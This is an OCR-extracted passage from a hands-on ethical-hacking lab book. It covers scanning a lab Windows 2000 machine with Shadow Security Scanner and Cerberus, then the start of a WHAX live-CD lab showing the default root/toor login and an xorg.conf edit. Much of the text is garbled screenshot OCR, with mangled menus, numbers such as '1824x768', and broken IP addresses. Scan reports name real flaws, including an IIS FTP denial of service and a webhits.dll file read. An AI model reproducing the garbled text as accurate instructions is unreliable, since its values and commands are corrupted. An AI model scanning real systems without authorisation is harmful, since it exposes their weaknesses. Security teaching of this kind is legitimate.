Default Policy of Complete Scan. Click Next.

lows 2000 Professional - ¥Mware Workstation

File Edit %iew %M Team ‘Windows Help
LR s

(£]shadow Security Scanner 5.37
File BaseSDK Tools  Help

Add Policy

Ecit Policy
Drelete Policy

Prev New || Cancel

Astart || [ @ 51 || Bcwmrisystomszicnd... | (yEswindowsishadon sc..|[iE 555 [ g arpm
A= 0
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Enter any Comments for the scan. Click Next.

R

Hasts 1

bt | adPTom || LomiFrn | Deeee |
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Enter the TP address of the target. Click the Add button.

Weiare Workstation

Fie Ldt vew W Tesm widows Hib

Hasts

I
ETT——

Host Hame:

<]
| || omee |

bt | akzom || LosiFrne | Deee |

Pev | Do | Cacel |

Hstot] | 1 @ 5 || Mmoo | Sieviundontinedon . | [Eises

The target IP address will now be listed in the Edit Hosts screen. Click Done.
*Note: You also have the ability to do the following:

B Scan an IP zone
B Scan from a file listing hosts to scan
B Delete hosts from the lists on this screen

Hasts
17216140

| adilPZorm || LosiFrmFin | bt |

Lol |
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Click the start button B to begin the scan.

Bl Windows 2000 Professional - ¥Mware Workstation N J =] 5]

File Edit Y¥ew %M Team Windows Help

nrelGeplEa®

€ File BaseSDK  Took Window Help =181

SEE% O 8-

Sacurty Scanner

Modules : 0 Mext scan host : Wulnerable : 1856

Links hot Scanned [

Hhstart ||| ] & 51 H B CWINKTiSystem3zlamd... | JEHsiwindonsiShadow sc.. || sss |Cﬂ—$ 243 PM
=T I

Shadow Security Scanner will begin.

indows 2000 Professional - YMware Workstation N [ 3]

File  Edit  Yiew Team Windows Help

M
nrelGeplEa®

=181

€ File BaseSDK  Took Window Help

General
Address 17216.1.40
Host Nam win2000s -+
|Average Ping R 31 s
Time To Live 128
Packet Size
Start Scan Date 11/18/2005 9.44:05 PM

Opened Port 4

Ensed Ports - 1444

Blocked Ports : 0

21 FTP - File Trarwfer Piotocol [Control]

135 RPCLOCATOR - RFC [Remote Procedure Cal] Loc

139 NETBI0S-SSN - NETBIDS Session Service
MICROS0FT-DS - Microsoft-DS

Mext scan host : Wulnerable : 1856
57 (27%) I

Hhstart ||| ] & 51 H B CWINKTiSystem3zlamd... | JEHsiwindonsiShadow sc.. || sss |Cﬂ—$ 244 P
=T [
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Be patient with Shadow Security Scanner, first-time users tend to think the
process is finished prior to the audit testing completing, Shadow is not complete
until you see the Scan complete (100%) message in the status bar.

8] Windows 2000 Professional - ¥Mware Workstation } [ 3|
Fle Edt View M Team  Windows Help

nire |@6Eles sE

B\ﬂﬁn(luws 2000 Professional

a a cte i =8l
€ Fle BassSDK  Tools Window Help |21 x|
SHES O 2 B B8R

Securly Scanner ~ B General B
g 716140 (Address 172.16.1.40
Host Name winZ000s-w
|Average Ping 0ms
Time To Live 128
Packet Size 56
Start Scan Date [11/18/200510:00.06 FM
11/18/2005 10:04:24 PM
# [FTP Servers Microsoft 15 FTP Denial of Service Yulnerabil
# IP Services |SNMP Rremote &ccess
# |NelBIOS Null Session
 [Accounts Guest - Password Doss Not Expire
o |Accounts iacksym - Password Does Nol Expie
o [Accounts LISF_WIN20005 Y - Password Does Nat Expire
o |Accounts [wiAM_WINZ0005 - - Password Does Not Expin
o |Accounts emit - Password Does Mot Expire
o |Accounts mmouse - Password Does Not Expire
@ [Accounts NetShowServices - Password Daes Not Expire
o vy PSR SO T TR
_>lJ
Modues : 0 Hlext scan host : Wulnerabe : 1856
Links can complete (100%)
start || 1] & =3 || B wmnTIsystenazicnd.. | e v sc..[Esss GBI 107em
Eeme .




462 ®m Practical Hacking Techniques and Countermeasures

By clicking on one of the vulnerabilities found by Shadow, you display
the details of the vulnerability in the lower section of the application, among
them:

The description

The risk level

The solution

The community name (if applicable)
Description of the target system
Target hostname

Amount of RAM on the target

IP address

Bl Windows 2000 Professional - ¥Mware Workstation J =] 5]

File Edit Y¥ew %M Team Windows Help

MEREEIEEEIEE=]=]

= | G Windows 2000 Professional

@ shadow Security Scanner 5.37 - [Scan with Complete Scan policy]
€ File BaseSDK  Took Window Help -2 %]

T [ 5
SBE@S E-¢- B @ 85
Security Scanner (I 1P [ Host
17216140 win2000sv NS 40
Host Name win2000s-w

|Average Ping R 0ms
Time To Live 128
Packet Size

Start Scan Date
End Scan Date

ices:SHMP Remote Access
[T W 1P Remote Access for this community
Riskieve [0
TR B Dissble SHIMP Service or set IP range access
[Community Name [T

ST T Hardware: =86 Family & Model 3 Stepping 8 AT/AT COMPATIELE - Software: Windows 2000 Wersion 5.0
(Build 2195 Uniprocessor Fres)

[System Name
[Workgroup

TS 2 1620 Bytes/255 Kb
1P Address 127.0.0.1
172.16.1.40 j

Mext scan host : Wulnerable : 1856

Links 5can complete (100%)
Hhstart ||| ] & 51 H B CWINKTiSystem3zlamd... | JEHsiwindonsiShadow sc.. || sss |Cﬂ—$ 10:13PM

Bomw

Once the scan has completed, click the Report 8- button.
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As this is the first report run, click the Add report button.

Bl Windows 2000 Professional - ¥Mware Workstation N J =] 5]

File Edit Y¥ew %M Team Windows Help

nrelGeplEa®

€ File BaseSDK  Took Window Help =181

SEE% O 8-

Sacurty Scanner

172 1R 14N
| x|

Fieport

| Addiepot || Doklefiepor | (TGODCEPM
110:04:24 PM

Sirle R INKNTN FTP Denial of Service Vulnerabil

Sections

ierd Daes Net Fanite,

i’

Bre: Windows 2000 Yersion 5.0
-
IP Address 127.0,0.1

172.16.1,40 =

Modules : 0 Mext scan host : Wulnerable : 1856

Links Bcan complete (100%) I
Hhstart ||| ] & 51 H B CWINKTiSystem3zlamd... | JEHsiwindonsiShadow sc.. || sss |Cﬂ—$ 10:13PM

Bomw

Enter a Name for the report and select the report style. Click OK.

=10 =]

windows 2000 Professional - ¥Mware Workstation

File Edit Y¥ew %M Team Windows Help

nrelGeplEa®

Home @\Mll(lnws 2000 Professional ity et Linuo: ll-ﬁ Red Hat Lint r r 1 r X
“IShadow Security Scanner 5.37 - [Scan with Complete Gcan policy] =15 x|
€ File BaseSDK  Took Window Help =181

177 1R 1 40

X

Fieport

| Addiepot || Doklefiepor | (TGODCEPM
110:04:24 PM

x| FTP Denial of Servics Yulnerabilin

Name

|Shadaw Flepert o Lat 74, ] ord D Nt Eamir, _";I

Flease select repoit slyle
| ‘ Cacel |

Bre: Windows 2000 Yersion 5.0
IP Address 127.0,0.1

172.16.1,40 =

555 Sile

Modules : 0 Mext scan host : Wulnerable : 1856

Links Bcan complete (100%) I
Hhstart ||| ] & 51 H B CWINKTiSystem3zlamd... | JEHsiwindonsiShadow sc.. || sss |Cﬂ—$ 10:24 PM

Bomw
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Accept the default Selections to view the entire report. Click OK.

(=]
File Edt View YM Team Windows Help
| s
{3 Windows 2000 Professional
AR = : 18]
€ Fle BassSDK Tools Window Help |21 x|
SHAY E-s- B B -8 &
Securty Scanner  |IIP [ Host
B = e Ad 172 1R
y

Add report ‘ ‘ Delete Report ‘ [10:00:06 PM
S B FTP Denial of Service Wulnersbil
Sections
Tover Fage =
able Of Conters v Drves N i

Yulrerabilty Summary

Corfia Report are; Windovs 2000 Yersion 5.0

1P Address 127.0.0.1
172.16.1.40 ;I

Modues : 0 Hext scan host : Wunerable ; 1356
Links can complete (100%)
dhstart|| 1] & *2 H B WISy stemsziemd. .| B b sc..[Esss G EdR 102sem

GEmw

The last step to creating the report is to give the report a filename. Once
you have provided a filename, click Save. (Be sure you know where you are
saving the file.)

dows 2000 Professional - ¥Mware Workstation

File Edt ¥ew %M Team ‘Windows Help

njr e |gen

1 8| ©

@Vﬁll(luws 2000 Professional

= : SRR EIET
€ File BaseSDK  Took Window Help == x|

SHa -8 - -6 -
Securty Scanner [ 1P [ Host

17216140 win2000s Address 17216.1.40

20

Save in: | 3 My Documents emesrE-

My Pictures 0:00:06 PM
:04:24 PM

FTP Denial of Servica Vulr\alab\lit;

wnrd Naes Nt Fanite

% File name: — [Lab 74 Resuitd Save | i
Risk Lev

AT - ostne [HTML Files -HTML) | Cancel
How To A 4
[Community Name FUBTC

BT Ml Har dwaire: 66 Family & Made| 9 Stepping 8 AT/AT COMPATIBLE - Software: Windows 2000 Yersion 5.0
(Buid 2195 Uniprocessor Free)

GystemName  [00RY
[Workgroup WORKGROUP

261620 Bytes(255 kb

I
Mext scan host : Hulnerable : 1856
Links Bcan complete (100%) [
Astart || 1] @ 51 || Bcwmmisystemsziend... | CyERwindowsishadow sc...|[{E] sss G Ed 10zeem

Comw
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Locate the saved report file and double-click to open it.

Lab 74 Results

The report will open in a Web browser. The initial glance displays a
Confidential Information warning.

8l Windows 2000 Professional - ¥Mware Workstation =[]

File Edt Yew %M Team ‘Windows Help

njre e e RleeBE

Fle Edt View Favortes Tools Help ‘

ek - = - (@D [ @) | Qoearch FFavorites (History | BYe S

Address |@ Ci\Documents and Settings|Administrakoriy Documents|Lah 74 Results, html =] P H Links *

Securily Team fl

Shadow Security Scanner

Confidential Information

The following report contains confidential information, do not distribute, email, faz or transfer via any electronic mechanism
unless it has been approved by our security policy. All copies and backups of this documents should be saved on protected
storage at all times. Do not share any of the information contained within this report with anyone unless they are authorized to
view the information. Viclating any of the previous instructions is ground for termination

Security Team
Shadow Security Scanner

Table Of Contents

Fyaritiva Summans L B | ﬂ
€] (13 items remaining) Downloading picture File:{4/C: Documents and Settings/Administratoritly Docu I | | [Unknown Zone
Astart || 111 & 53 || Bcawmnms...| SiEwwingon.. | s | atty Decuments [[E1c\Docume... | (EI8E  10zapm

Eemw
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Continue to scroll down the report to view the Executive Summary
portion of the report.

dows 2000 Professional - YMware Workstation N o [=] 3]
File Edt Wew ¥M Team Widows Help
nrelg@plaal®
[& 53 Windows 2000 Professional [J
3
Fle Edt View Favortes Tools Help ‘
ok - = - @D 2] A& | Qoearch GeFavoriies (AHistory | By S
Address I@C‘\Dntuments and Settings|AdministratoriMy DocumentsiLab 74 Results, htrl =] P HLWG B
_ E|
Executive Summary 1-1 Ei
Vulnerability Summary 21
Address 172.16.1.40 : win2000s-v 3-1
General 3-2
Audits : 14 3-3
Machine 3-4
Shares: 6 3-5
Users:9 3-6
Ports: 11 3-7
Glossary of Terms 4-1
Security Team
Shadow Security Scanner
Executive Summary 1-1
On 1171842005 10:26-55 PM Shadow Security Scanner perfarmed a < By Risk Level
vulnerability assessment of 1 system(s) in order to determine the security g
posture of those eystems and to outline fixes for any found vulnerabilities. ] j
] Dane |k My Computer
iﬁstartm ] & 3 H Hc:\wwm\s‘..| @E:\X\Wmdnw‘.‘l {555 | “ynay Documents [[£]cDocume... | fEISR  1028Pm
Bemw

By scrolling further down the report, the details of the scan will be revealed,
along with the details of how to correct the vulnerabilities.

p (=[5}

File Edit ¥ew %M Team Windows Help

ule &

Fle Edt View Favortes Tools Help ‘

ok - = - @D 2] A& | Qoearch GeFavoriies (AHistory | By S

Address |@ Ci\Documents and Settings|Administratoriy Documents\Lab 74 Results, html =] P H Links *

[Description It is recommended that you disable anonymeons FTP access ifit is not needed. Anenymous FTP
access can lead to an attacker ganing information about your system that can possibly lead to them
gamning access to your system,

Risk Level: Medum

[How To Fix: Fellew your FTP server instructions on hew to disable anonymous FTP

CVE CAN-1955-0457
|
rosoft IIS FTP Denial of Sei
il
[Description Due to a flaw m the pattern-matching finction used by FTP commands, denial of service aftacks can
be successfilly launched. If a user submits an FTP command along with a filename containing
specially placed wildeard sequences, the pattern-matching function will not allocate sufficent memory.
Resulting in ITS experiencing denial of service condition.
Risk Tevel: a3
Iusta].l I3 patches.
[Related Links: Microsoft IS 4.0 Patchl
Microsoft ITS 4.0 Patch2
Microsoft IS 5.0 Patch =
] Done [ [ k&= ry Computer
Hstart || 1] & =3 || Bcawms... | IEwwindow.. | [Esss | 3mty Documents [[E1cvpocume... [FEIER  10z9pm

Eemw
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At the end of the report a Glossary is conveniently available for review.

& Windows 2000 Professional - YMware Workstation j o [=] 3]

File Edt Yew %M Team ‘Windows Help

ule &

Fle Edt View Favortes Tools Help ‘

ek - = - (@D [ @) | Qoearch FFavorites (History | BYe S

Address |@ Ci\Documents and Settings|Administrakoriy Documents|Lah 74 Results, html =] P H Links *

=

Glossary 4-1

Dof Attack: 4 Denial of Service (Do) attack is a remote attack against a servers TCP/IP stack or services. Do attacks can
saturate a servers bandwidth, saturate all available connections for a particular service, or even crash a server,

Tnerabilit

Exploit: & script or program that takes advantage of
unauthorized or elevated system access

in services or programs to allow an attacker to gam
Host: 4 node on anetwork, Usually refers to a computer or device on a networle which both initiates and accepts network
comections.

IP Address: The 32-bit address defined by the Internet Protocol m STD 5, RFC 781. It is usually represented in dotted
decimal notation, Any device connected to the Internet that used TCP/IP 15 assigned an IF Address. AnIP Address can be
likened to a home address m that no two are alike.

Nethios: Network Basic Input Output System. The standard mterface to networks on IBM PC and compatible networkes.

Ping: 4 program used to test reachability of destination nodes by sending them an ICMP echo request and waihng for a reply.

Port: A port in the network sense 1s the pathway that a computer uses to transmit and receive data. As an example, Web [
Servers typically listen for requests on port 801 E
&1 Dane [ = My computer
Astart || 111 & =53 || Bcawnnms...| SiEwmingow.. | s | ytty Decuments |[E1c\Docume... [ (EI8E  10z9pm
Bemw .

*Note: Shadow Security Scanner is an excellent vulnerability scanner, which is com-
parable to the more expensive scanners like Retina. At the time of this writing
the cost for the full version of Shadow is $372.70.
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Lab 71: Internet Vulnerability Scanner

Assessment of Target Security: Cerberus

Prerequisites: None

Countermeasures: ACLs, Bastion Computer, host-based firewalls

Description: Cerberus is an Internet scanner that looks for vulnerabilities
in Web, FTP, SMTP, POP3, NT, NetBIOS, MS SQL, and others. The
scanner runs about 300 scans and generates HTML reports.

Procedure: Start, define the parameters, select the target, and initiate the
scan.

Double-click on the cis icon to start the Cerberus scanner.

........

The Cerberus scanner starts.

18 Windows 2000 Professional - ¥Mware Workstation =[]

File Edt Yew %M Team Windows Help

njre|lganlos @B

() = ] 3 Windows 2000 Professional
2l cerberus Internet Scanner
Fle Tools Help

als|BlM & 2]

Hstart || 1] @ 59 || B wwns,stemiziond...| JE iwindons\cerbers [ Cerberus ntemet sea.. | @188 1ua7em
Eeme .
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Click the button on the toolbar. The Select Scan Modules screen will
appear.

indows 2000 Professional - ¥Mware Workstation i Y ] 9]

File Edit ¥ew %M Team Windows Help

nrapobloa®

fAdcerberus Internet Scanner
Fle Tools Help

a|s|E(M| 5| 2|

Select Scan Modules' x|

I~ an

I~ Web Checks

" FTP Checks

I” SMTP Checks
™ POP3 Checks
" NT Checks

" NetBIOS Checks
[ MS S0L Checks
" Others

CANCEL

Hstart ||| 1] & =5 H B CwINKTiSystem3zlamd...| CuEsiwindonsiCerberus  |[ £ Cerberus Internet sea.. oiEial  1iddpm
Bomw

In this example, All was selected. Click OK.

indows 2000 Professional - ¥Mware Workstation

~=lofx|

File Edit %ew %M Team Windows Help

njrelpeplEa®

{53 Windows 2000 Profess
[Acerberus Internet Scanner
Fle Tools Help

ABREEN] |

ETET

Select Scan Modules P

= i

™ Web Checks

" FTP Checks

I SMTP Checks
" POP3 Checks
I NT Checks

™ NetBIOS Checks
[ MS SOL Checks
[~ Others

CANCEL

Hstart ||| 1] & £ H B v TSy stem@z|ad,.. | _JEARiwindowsigerberus |[ & Cerberus Internet Sca. |6 EUER 11:44FM
Eemw
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Click on the house g icon on the toolbar. The Choose host to scan
screen will appear.

8 Windowes 2000 Professional - ¥Mware Workstation oy [m]
File Edt Wew WM Team Windows Help

cRcRERlo =)l

A Home @Vﬁll(luwsZl'IIIDPrUfESSiDIlaI &

[Acerberus Internet Scanner
Fle Tools Help

als|BlM 5] 2]

Choose host to scan x|

Cancel
|

Astart || ] @ 1 || B wmnrisystemsziend... | Cyexiwindowsicerberus [ Cerberus Internet sca..

ﬁ 11:38FM
Comew s

Enter the IP address of the target. Click Select.

Bl Windows 2000 Professional - ¥Mware Workstation

—lolx|
File Edit %iew %M Team ‘Windows Help

njire@aR s @s
{3 Windows 2000 Professional
[Acerberus Internet Scanner

1 S
Fle Tools Help
[as|BE[M| & 7

Choose host to scan x|

[172.16.1.46]

Astart || ] @ 1 || B cwmnrisystomaziend... | CyExiwindowsicerborss [ Cerberus Internet Sca...

[¢ Egp 11z0pm
A= 0




Vulnerability Scanning ®m 471

Click on the Bl button on the toolbar. The scan of the target will initiate.
As each module is finished, the word completed. will appear to the right of
the module name.

idows 2000 Professional - YMware Workstation | o Ju] 9]

File Edit ¥ew %M Team Windows Help

nreleelas @

ows 2000 Professi

Al cerberus Internet Scanner
Fle Todls Help

als|BlM| 8 2]

Host to Scan: 172.16.1.46
Starting scan...
Starting web service checks...
Starting SQL service checks...
Starting ftp service checks... completed.
Starting NetBIOS checks...
Starting NT Registry Checks...
Starting NT Service Checks...
Starting smtp service checks...
Starting POP3 service checks..completed.

Starting RPC checks.. completed.
Starting finger checks... completed.
Starting DNS checks... completed.

Starting Browser checks...

hstart ||| 1] & <5 H B C/wInnT|System3ziamd... | CuEsiwindonsiCerberus || £ Cerberus Internet Sea.. oy 1aem
EEmw

Be patient, as a few of the areas may take a couple of minutes to complete.

dows 2000 Professional - ¥Mware Workstation [ o [=]

File Edt ¥ew %M Team ‘Windows Help

MR EETEEE

3 Windows 2000 Profess
[Acerberus Internet Scanner
Fle Tools Help

EEEIENE
Host to Scan: 172.16.1.46

Starting scan...

Starting web service checks... completed.
Starting QL service checks... completed.
Starting ftp service checks... completed.
Starting NetBIOS checks... completed.
Starting NT Registry Checks... completed.
Starting NT Service Checks... completed.
Starting smtp service checks...completed.
Starting POP3 service checks..completed.

Starting RPC checks.. completed.
Starting finger checks... completed.
Starting DNS checks... completed.
Starting Browser checks... completed.

Astart || 1] @ 51 || Bcwmrisystemszicnd.. | CyERwindowsicerberos [ cerberus Internet sea.. | @IS 1s1em
Comew s
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Click the Report Blbutton on the toolbar. The autogenerated HTML report
will open in a Web browser.

Fle Edt View WM Team ‘Windaws Help

8 Windows 2000 Professional - ¥Mware Workstation 1 _|ol x|

nfr e |GG R B

A Cerberus Internet Scanner Results rosoft Internet Explorer
Fle gt Vew Favorkes Tods e |
4back -+ - @D [¢] A | Dsearch [EFavorites (BHstory | By S

Address [ Exiwindonsi CerberusiRepartsl 172,16, L 46.heml =] ®a Hum B

Service

Reports Cerberus Internet Scanner

Results

Weh Service
for

172.16.1.46

by David Litchfield

MS SQL Service
FIP Service

NetBIOS

NT Regis Cerberus Information Security

NT Services
SMTP Service /
POP3 Service

Portmapper
Report Generated |
[ Internet

£2 11:41PM
Eemw -

Finger
] Done
;ﬁstart”] ) & 5 “ B C\WINNT Syste. . | GE‘\x\wmnws\cE‘.] { Cerberus Intemet....| | € Cerberus Intern... |

By clicking on each section on the left side of the report, you can display
the details on the right side of the screen.

Fiz Edt View YM Team ‘Windows Help
{5 Windows 2000 Professional
Fle Edt View Favorkes Tools Help |
GaBack -+ =+ - @D [2] A | Doearch [Favorites (BHstory | By S
Address [ Ex\\wWindows\Cerberus|Reports!1 72.16. 146 htm ~| Pa Hunks =
Service =
Web Service
Reports
WWeb Server Software 15 Microsoft-TIS/5.0
MWeb Service Security Issues
MS SOL Service
MSSOL Service 172 16 1 d6coripttsamples/searchiofilis b
FIP Service A buffer issue in Webhits. dll can be abused to read any file on the same volume, even cutside of
the web root. The htw extention mapping to webhits. dll should be remeved using Internet Service
NetBIOS iy
anager.
BI Reeistry Hps172 16 1 46Jscriptslsamplesisearchigsumhit htv
NT Services
s A buffer izsue in Webhits, dll can be abused to read any file on the same velume, even outside of
SMTP Service the web root. The htw extention mapping to webhits. dll should be remeved using Internet Service
ST dervice Manager.
POP3 Service htw fles are etill mapped to webhits.dll
Portmapper A buffer issue in Webhits. dll can be abused to read any fle on the same volume, even outside of
: the web root. The htw extention mapping to webhits. il should be removed using Internet Service
Finger LY —— TE rmes 110 the smahhbite Bk anali anmies the noteh hos haan inctafled Sea hMiceaeafile
2] [ | meemet
histart| | 1] & =2 “ B CiwihTisyste. . | CUEwindowsice... | ¢ Corberus Intemet.. |[Z]Cerberus tntern.. |- @8R 11:41pm
Eome
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If an area is selected where Cerberus was unable to gather any data, you
will receive a notice similar to the following:

8] windows 2000 Professional - vMware Workstation B _|ol x|
Fle Edt Vew VM Team Windows Help
TN ERE e E=:]
3 Windows 2000 Professional
= T T
| Ele Edt Vew Favortes Tools Hep |
| pack - = - @ [A) A| Dsearch [EFavorites (HHstory | 5y Sp
| address [ e:\%\windows! Cerberus|Reports!1 72,16, 1 46, bt =] P Hur\ks =
Service Yo fip service
Reports
Weh Service
MS SOL Service
FIP Service
NetBIOS
NT Registry
NT Services
SMTP Service
POP3 Service
Portmapper
Finger
&1 [ [ |4 nternet
dhstart| | 1] @ =2 H B CHwINTISyste. . | (JEpwindowsice... | ¢ Corberus Intomet. . |[@]Cerberus Intern... | @88 11:4zpm
Eome

The NetBIOS Session Service section will display any shares on the target,
including any hidden shares detected.

8 Windows 2000 Professional - VMware Workstation » o [ |
Fle Edt YVew VM Team Windows Hep
nire 8GR BEa0s
53 Windows 2000 Professional
Fle Edt View Favorkes Tools Help |
GaBack -+ =+ - @D [2] A | Doearch [Favorites (BHstory | By S
Address [ Ex\\wWindows\Cerberus|Reports!1 72.16. 146 htm ~| Pa Hunks =
Service . : =
NetBIOS Session Service
Reports
Share Information
WehiBériice Share Neme 1 IPCS
Share Type :Default Pipe Share
MS SOL Service Conmuent :Remote IPC
FTP Service Share Neme : ADNING
= Share Type :Default Disk Share
Comment :Remote Admin
NetBIOS
Share Name tc§
NT Registry Share Type :Default Disk Share
Comment :Default share
NT Services
Group Information
SMTP Service
Group Name : Hone
. Users
EOEYService Administrator
Guest
Portmapper TsInternetUser
HetShowServices e
o Pi— I _>|_|
€] Dane [ | meemet
histart| | 1] & =2 “ B CiwihnTisyste. . | CUEwindowsice... | ¢ Corberus Intemet.. |[Z]Cerberus Intern.. |- @I9R  11:42pm
Ecmw .

*Note: For a quick look at a Windows target, Cerberus is a fast, efficient tool.
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Lab 72: WHAX — Auto Exploit Reverse Shell
Automatically Exploit the Target: AutoScan

Prerequisites: WHAX (formerly Whoppix)

Countermeasures: Secure ACLs, Bastion computers

Description: Whoppix is a stand-alone penetration testing live CD based
on Knoppix with the latest tools and exploits.

Procedure: Boot from the WHAX CD, set parameters, and execute.

Place the WHAX CD in the drive and boot the virtual computer.

*Note: Because WHAX runs from the CD itself we will not install the VMware Tools.
You may need to manually adjust the video settings, which are outlined
below. There is an option to install WHAX to the hard drive but I have had
several issues with it installing correctly.

v _wwore orkstovon NI=TEY

! File Edit Wew %M Team ‘Windows Help

|m wjr @B &R

dh vin:

lloN=Him]=]

&You do not have YMware Tools inskalled. E:EI i@ :r@ :Eﬁ) &
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The WHAX CD will begin to boot.

HAX - ¥Mware Workst. B

| File Edit ‘View Y¥M

I relloak|Oa|

Team ‘Windows Help

i

Helcome to HHAX Live CD. Hit Enter to continue booting or press F1 for help...

boot: _
&‘f’uu do nat have Yiware Tools installed.

(=TI

Be patient when the boot screen displays copying rootchanges as this

process may take a few minutes.

Bl WHAX - ¥Mware Workstation

| File Edt

¥M  Team Windows Help

|| ®m m

CIEEEEEEE
: |

tree-socat-1.4.2.8.r10
tree-ssh-8.86. M0
tree-ssldump-8.9-8.betad. o
tree-stunnel-4.88. Mo
tree-syslog-B8.97.mM0
tree-tcp_wrappers-7.6-39.mo
tree-tcptraceroute-1.5.Mm0
tree-tightunc-1.3dev5-1.mo
tree-tightunc-server-1. 3dev5-1. Mo
tree-tor-8.1.8.11. M0
tree-traceproto-1.1.8.m0
tree-unicode-string-2.87. Mo
tree-unicornscan-8.4.2.mo
tree-ushview-1.8. M0
tree-vim-6.3.871.m0
tree-ulassistant-8.5.8.m0
tree-xchat-2.4.mo
tree-xmms-1.2.18. Mo
tree-xmmsskins-1.1.m1o
tree-xtraceroute-8.9.1.m0
tree-xuwhois-0.4.2.mM0

copying rootchanges

&\‘ou do not hiave Wiware Tools installed.

ey -
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The login screen will be displayed. WHAX is nice enough to tell you the
login name and password. Username: root / Password: toor
Log into WHAX.

e

| File Edt Wiew %M Team ‘Windows Help
& mip & || &R Nmlf=]
1] |

User : root
Pass : toor

If you use this CD not for developHent purposes, remedber to change passwords?
The most interesting commands you can use after login:

startx .... starts KDE in Xuwindow syster, by using UESA driver (safe 1824x768)
flux ...... starts FluxBox desktop (for low Memory systems, safe 1824x768)
xconf ..... attempt to autoconfigure Xwindow for different screen resolutions
parted .... starts partition editor, allouws resizing on the fly, experts onlyt
configsave and configrestore .. to savesrestore changes to floppy or disk
websave and webrestore to =savesrestore changes to 3LAX web repository

! When finished, hit Ctrl+Alt+Delete and wait until the computer reboot

B

rootaslax:"# _
&You do not have YMware Tools installed, %I:l B m '33» &

The next step is to verify the video resolution settings for Xwindows. Type
vi /etc/X11/xorg.conf and press Enter.

ol
File Edit “iew %M Team ‘Windows Help

| Fmire |8 @R|HDB 8| B8

i Vi 1

User : root
Pass : toor

If you use this CD wot for development purposes, remember to change passwordst
The most interesting commands you can use after login:
startx .... starts KDE in Xwindow system, by using VESA driver (safe 1824x768)

flux ... starts FluxBox desktop (for low memory systems, safe 1824x768)
xconf ..... attempt to awtoconfigure Xwindow for different screem resolutions

parted .... starts partition editor, allows resizing on the fly, experts only!

configsave and configrestore .. to savesrestore changes to floppy or disk
websave and webrestore to savesrestore changes to SLAX web repository

slax login: root
Password: s

root@slax:"# vi setcsX1ll/xorg.conf_
/A You do nat have YMware Taols installed, BEo@E@Ew 2
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The contents of the xorg.conf file will be displayed.

=

| File  Edit Wiew ¥M Team ‘Windows Help
O EEN )]
| 5 P 00 v

# File generated by xf86confiyg.

1]

Copyright (c) 1999 by The XFree86 Project, Inc.

Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without resiriction, including without limitatio
the rights to wse, copy, modify, merge, publish, distribute, sublicense,
and-or sell copies of the Software, and to permit persons to whom the
Softuware is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY RIND, EXPRESS OR
IMPLIED, INCLUDING BUT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EUENT SHALL
THE XFREEB6 PROJECT BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR DTHERWISE, ARISING FROM, OUT OF
OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
S0FTHARE.

Except as contained in this notice, the name of the XFreeB6 Project shall
etcsX11/xorg.conf™ 485L, 15926C 1,1 Top

A You do nat have Whware Tools installed, %D 16w o) 4

Scroll down until you see the Subsection "Display" area.

e

| File: Ed;t View WM Team ‘Windows Help
= njr8 |8 GE|DCE e ma

] | IE B 000 «rx
DefaultDepth 8
DefaultDepth 16

DefaultDepth 24
DefaultDepth 32

"1824x768" is also a conservative usable default resolution. If vou
have a better monitor, feel free to try resolutions such as
"1152x864", "1288x1824", "1688x1288", and "1888x1488" (or whatever your
card/Monitor can produce)
Subsection "Display”
Depth
Modes "1824x768" "888x688" "648x488"
EndSubsection
Subsection "Display
Depth 16
Modes "1824x768" "808x688" "648x488"
EndSubsection
Subsection "Display”
Depth 24
Modes "1824x768" "808x688" "648x488"
EndSubsection
Subsection "Display
Depth 32

&VUU do not have YMware Tools installed, %l:l L] m ) 4
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Press the Insert key and the word -INSERT- will appear across the lower
left side of the screen.

M=

| File Edit Wiew ¥M Team ‘Windows Help
DN EEEIEEEEE

s x|

DefaultDepth 8
DefaultDepth 16
DefaultDepth 24
DefaultDepth 32

"1824x768" is also a conservative usable default resolution. If vou
have a better monitor, feel free to try resolutions such as

"1152x864", "1288x1824", "16B8x1288", and "18B8Ax1488" (or whatever your
card/monitor can produce)

Subsection "Display”

Depth

Modes "1B24x768" "88@x6HB" "648x488"
EndSubsection
Subsection "Display”™

Depth

Modes " "'640x488"
EndSubsection
Subsection "Display”

Depth 24

Modes "1824x768' "'648x488"
EndSubsection
Subsection "Display”

B mme

&Vou donot have WMware Tools installed,

Because the default depth is set to 24 we only need to change that one
entry. You can edit the line directly, but for this example, I simply stopped
the original line from being executed by placing a # sign in front of the text.

e

| File Edt view %M Team ‘Windows Help
|m wip & |8 &R0 | @]

i 1 IE Bm 000 x|

DefaultDepth 8
DefaultDepth 16
DefaultDepth 24
DefaultDepth 32

"1824x768" is also a conservative usable default resolution. If you
have a better monitor, feel free to try resolutions such as

"1152x864 ! ", "1688x1288", and "18AAx148B" (or whatever your
cardsmonitor can produce)

Subsection "Display™

"1824x768" "B0Bx688" "64B8x488"

EndSubsection
Subsection "Display™

Depth 16

Modes "1824x768" "808x608" "G48x488"
EndSubsection
Subsection "Display™

Depth 24

Modes "1824x768" "8BAxEBB “64B8x488"

EndSubsection
Subsection "Display™

Depth 32

—— INSERT --

&YDU do not have YMware Tools installed. %l:l L] m )
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Press the Enter key to start a new line and type the desired screen

resolution:
Modes "800x600"

M=

| File Edit Wiew ¥M Team ‘Windows Help
DN EEEIEEEEE

s x|

DefaultDepth 8

DefaultDepth 16
DefaultDepth 24

DefaultDepth 32

"1824x768" is also a conservative usable default resolution. If vou
have a better monitor, feel free to try resolutions such as
"1152x864", "1288x1824", "16B8x1288", and "18B8Ax1488" (or whatever your

card/monitor can produce)

Subsection "Display”
Depth
Modes "1824x768" "808x680" "648x488"
EndSubsection
Subsection "Display”™
Depth B
Modes "1824x768" "808x688" "648x488"
EndSubsection
Subsection "Display”
Depth 24
Modes "8@8x688"_
Modes "1BZ24x768" "BHBxEBB™ "648x488"
EndSubsection
Subsection "Display”
—— INSERT ——
&Vou do not have WMuware Tools installed.

B mme

Press the Esc key to stop the Insert mode. The word —INSERT- will
disappear from your screen.

=

